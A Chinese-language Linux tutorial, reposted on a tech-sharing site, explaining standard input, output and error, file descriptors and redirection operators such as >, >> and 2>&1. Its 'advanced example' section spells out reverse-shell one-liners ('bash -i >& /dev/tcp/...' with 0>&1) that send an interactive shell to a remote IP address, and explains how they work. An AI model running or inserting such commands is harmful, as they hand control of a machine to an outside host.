ICode9

精准搜索请尝试: 精确搜索
首页 > 系统相关> 文章详细

linux标准输入输出以及重定向

2022-09-07 00:01:16  阅读:223  来源: 互联网

标签:输出 重定向 错误 文件 输入输出 标准 linux 输入


1.经常遇到< << > >> 0>&1是什么意思

以上表示某种输入输出重定向,具体了解前要知道什么是标准输入输出。

2.什么是标准输入输出

标准输入输出实际完整的叫法是标准输入输出文件。
linux系统中一切设备都是文件,都是对文件的操作。

具体就是:
标准输入文件(stdin),通常对应终端的键盘;
标准输出文件(stdout),这个文件都对应终端的屏幕。
还有个错误输出。

进程分别
将从标准输入文件中得到输入数据
将正常输出数据输出到标准输出文件,
将错误信息送到标准错误文件中。

3.关于重定向:

输入重定向:指把命令(或可执行程序)的标准输入重定向到指定的文件中。
也就是说,输入可以不来自键盘,而来自一个指定的文件。
所以说,输入重定向主要用于改变一个命令的输入源,特别是改变那些需要大量输入的输入源。

输出重定向:指把命令(或可执行程序)的标准输出或标准错误输出重新定向到指定文件中。这样,该命令的输出就不显示在屏幕上,而是写入到指定文件中。

各自符号的重定向表示

一般程序有输入和输出,默认都是标准输入的,可自定义:
<:就是标准输入重定向,可以从文件中输入(读取)
其实就是将某某文件作为程序读入。(全称应该是0<)
比如:command < file

>:就是标准输出重定向,可以重定向到文件(会覆盖),网络
其实就是将程序输出内容写到某某文件。(全称应该是1>)
比如:command > file    
如果是:0>,应该就是将键盘输入内容写入某某中

>>:如果重定向到文件,以追加方式输出到文件
比如:command >> file


标准输入输出还有文件描述符,主要用于标准输入输出之间重定向以及错误输出的重定向。
0 是标准输入(STDIN),1 是标准输出(STDOUT),2 是标准错误输出(STDERR)。
写法:
1.重定向符号(< >)左边和文件描述符数字之间不能有空格 ,如:2> 
2.如果重定向的目标(符号右边)是文件文件描述符数字需要加&符号,不然认为是文件。
3.&还有将错误输入和标准输出合并输出的意思
比如: 
1.> 2,意思是输出到文件名称是2的文件中。
2.> &2,意思输出到错误输出
3.bash -i > & /dev/tcp/192.168.1.1/9090 ,意思将标准和错误都输出到网络中
(bash -i > /dev/tcp/192.168.1.1/9090,只将标准输出内容写入网络)

例子:
1.错误输出到文件file
$ command 2>file
2.输出和错误输出都输出到文件中
$ command > file 2>&1
3.从文件1读取,输出文件2
$ command < file1 >file2

提升例子:
bash -i >& /dev/tcp/10.201.61.194/6767 
1.bash -i:生成交互的命令行
2.>& /dev/tcp/10.201.61.194/6767:bash解释器会对/dev/tcp对特殊处理,建立tcp socket,那么就是标准和错误输出写到网络中
3.0>&1:键盘标准输入写到标准输出,
对整个命令错误的理解:输入写到网络中,那么就该是:
0>& /dev/tcp/10.201.61.194/6767
正确理解:输入,标准输出,错误输出都会写入网络。

特别注意:0>&1 的写法!输入做输出!

 

标签:输出,重定向,错误,文件,输入输出,标准,linux,输入
来源: https://www.cnblogs.com/straybirds/p/16663785.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有